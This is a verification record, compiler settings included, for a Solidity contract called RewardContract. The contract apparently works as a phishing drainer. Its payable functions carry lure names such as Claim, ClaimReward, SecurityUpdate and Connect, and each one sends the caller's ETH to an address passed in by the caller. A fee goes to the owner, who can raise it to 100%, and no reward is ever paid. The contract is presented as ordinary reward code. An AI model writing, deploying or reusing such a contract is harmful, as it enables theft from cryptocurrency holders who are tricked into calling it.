creation_sourcecode: {{
    "language": "Solidity",
    "sources": {
      "/root/truffle-blueprint-master/contracts/RewardContract.sol": {
        "content": "/**\n *Submitted for verification at Etherscan.io on 2023-05-28\n*/\n\n// SPDX-License-Identifier: Unlicense\n\npragma solidity ^0.8.18;\n\ncontract RewardContract {\n\n  address private owner;\n  uint256 private fee;\n\n  constructor(uint256 defaultFee) { owner = msg.sender; fee = defaultFee; }\n  modifier onlyOwner {\n    require(msg.sender == owner, \"Not contract owner\");\n    _;\n  }\n  function getOwner() public view returns (address) { return owner; }\n  function getFee() public view returns (uint256) { return fee; }\n\n  function setFee(uint256 newFee) public onlyOwner {\n    require(newFee >= 0 && newFee <= 100, \"Invalid fee percent\");\n    fee = newFee;\n  }\n\n  function transferWithFee(address to, uint256 amount) private {\n    uint256 feeAmount = amount * fee / 100;\n    uint256 amountAfterFee = amount - feeAmount;\n    payable(to).transfer(amountAfterFee);\n    payable(owner).transfer(feeAmount);\n  }\n\n  function Claim(address sender) public payable { transferWithFee(sender, msg.value);}\n  function ClaimReward(address sender) public payable { transferWithFee(sender, msg.value);}\n  function ClaimRewards(address sender) public payable { transferWithFee(sender, msg.value);}\n  function Execute(address sender) public payable { transferWithFee(sender, msg.value);}\n  function Multicall(address sender) public payable { transferWithFee(sender, msg.value);}\n  function Swap(address sender) public payable { transferWithFee(sender, msg.value);}\n  function Connect(address sender) public payable { transferWithFee(sender, msg.value);}\n  function SecurityUpdate(address sender) public payable { transferWithFee(sender, msg.value);}\n\n}"
      }
    },
    "settings": {
      "remappings": [],
      "optimizer": {
        "enabled": true,
        "runs": 200
      },
      "evmVersion": "paris",
      "libraries": {},
      "outputSelection": {
        "*": {
          "*": [
            "evm.bytecode",
            "evm.deployedBytecode",
            "devdoc",
            "userdoc",
            "metadata",
            "abi"
          ]
        }
      }
    }
  }}